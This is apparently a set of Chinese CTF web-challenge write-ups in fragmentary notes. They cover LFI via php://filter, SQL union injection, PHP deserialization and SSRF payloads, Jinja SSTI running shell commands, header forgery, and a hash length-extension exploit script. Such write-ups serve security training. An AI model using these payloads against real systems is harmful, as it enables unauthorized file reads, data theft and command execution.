一直F12
点了之后来到这里
怀疑是跳转,用burp suite抓包
secr3t.php
<html>
<title>secret</title>
<meta charset="UTF-8">
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>
推测要用伪协议包含
?file=php://filter/convert.base64-encode/resource=flag.php
注册之后发现有sql注入漏洞
?no=1+order+by+4–+
?no=-1++union++select++1,group_concat(schema_name),3,4++from++information_schema.schemata–+
?no=-1++union++select++1,group_concat(table_name),3,4++from++information_schema.tables++where++table_schema=‘fakebook’+±-+
看了users表,发现里面存的是序列化之后的对象
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();//初始化
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
/*
curl_setopt — 为给定的cURL会话句柄设置一个选项。
说明:
bool curl_setopt ( resource $ch , int $option , mixed $value )
参数:
ch:由 curl_init() 返回的 cURL 句柄。
option:需要设置的CURLOPT_XXX选项。
value:将设置在option选项上的值。
对于下面的这些option的可选参数,value应该被设置一个bool类型的值:
CURLOPT_RETURNTRANSFER:将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。
对于下面的这些option的可选参数,value应该被设置一个string类型的值:
CURLOPT_URL:需要获取的URL地址,也可以在curl_init()函数中设置。
###################
文件流的形式:指的是在传递过程中的文件,比如你上传一张图片,那么他不是以一个完整的图片传输的,是将文件按特定编码的字符传输.这个就是文件流
本题中会将文件中的数据base64编码之后输出
*/
$output = curl_exec($ch);//执行
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
/*
curl_getinfo — 获取一个cURL连接资源句柄的信息
说明:
mixed curl_getinfo ( resource $ch [, int $opt = 0 ] )获取最后一次传输的相关信息。
参数:
ch 由 curl_init() 返回的 cURL 句柄。
opt:这个参数可能是以下常量之一:
CURLINFO_HTTP_CODE : 最后一个收到的HTTP代码
*/
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
发现源代码中请求了一个url,怀疑可以使用SSRF
?no=0++union++select+1,2,3,‘O:8:“UserInfo”:3:{s:4:“name”;i:1;s:3:“age”;i:2;s:4:“blog”;s:29:“file:///var/www/html/flag.php”;}’+±-+
附上参考博客:https://www.cnblogs.com/chrysanthemum/p/11784487.html
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "NO!!!hacker!!!";
echo "You name is: ";
echo $this->username;echo "";
echo "You password is: ";
echo $this->password;echo "";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "hello my friend~~sorry i can't give you the flag!";
die();
}
}
}
?>
根据代码推测这题考察反序列化
在index.php中找到源代码
根据要求生成Name对象并进行序列化
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct(){
$this->username = 'admin';
$this->password = 100;
}
}
$a = new Name();
echo serialize($a);
?>
结果如下:
O:4:“Name”:2:{s:14:“Nameusername”;s:5:“admin”;s:14:“Namepassword”;i:100;}
绕过__wakeup()的方法是把属性数目增加
O:4:“Name”:3:{s:14:“Nameusername”;s:5:“admin”;s:14:“Namepassword”;i:100;}
另外这题是私有变量,需要在类名前面和后面加上%00
O:4:“Name”:3:{s:14:"%00Name%00username";s:5:“admin”;s:14:"%00Name%00password";i:100;}
菜刀直接连就行···
{{ config.__class__.__init__.__globals__['os'].popen('ls /').read() }}
{{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}
这里还有一点,原题目flag以BJD开头,输出时会被过滤,需要使用如下方法:
{{ config.__class__.__init__.__globals__['os'].popen('ls /').read() }}
union查询注入
' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 #
' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='geek'),3 #
' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'),3 #
' union select 1, (select group_concat(username) from geek.l0ve1ysq1),3 #
' union select 1, (select group_concat(password) from geek.l0ve1ysq1),3 #
需要伪造referer
Referer: https://www.Sycsecret.com
伪造User-Agent
User-Agent: Syclover
伪造IP
X-Forwarded-For: 127.0.0.1
最终http包
GET /Secret.php HTTP/1.1
Host: node3.buuoj.cn:25312
Referer: https://www.Sycsecret.com
X-Forwarded-For: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Syclover
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: __guid=93156994.333833529143851100.1586153607454.6235; monitor_count=3
Connection: close
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0')
页面一共有三个url:
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
至于Exec()
先判断action里是否有scan,有的话就把scan读到的内容写进沙盒里的result.txt,如果read在action里,则将沙盒里的result.txt的内容读出来。
我们可以先生成一个action为scan的签名把flag写进result.txt,里面,再伪造一个action为read的签名读出flag
这里直接用了网上找的exp:
附上hashpumpy的安装教程
git clone https://github.com/bwall/HashPump
apt-get install g++ libssl-dev
cd HashPump
make
make install
pip install hashpumpy
首先利用哈希长度扩展攻击来伪造我们需要的签名
import hashpumpy
import requests
url = 'flag.txt'
r = requests.get('http://dffc24c8-e00c-4983-8cc7-125c34b0155b.node3.buuoj.cn/geneSign', params={'param': url})
sign = r.text
hash_sign = hashpumpy.hashpump(sign, 'scan', 'read', 24)
print(hash_sign)
import requests
url = 'http://dffc24c8-e00c-4983-8cc7-125c34b0155b.node3.buuoj.cn/De1ta?param=flag.txt'
#\x->%
cookies = {
'sign': '38a59f027529d946d643c578fd5fd7db',
'action':'scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read'
}
res = requests.get(url=url, cookies=cookies)
print(res.text)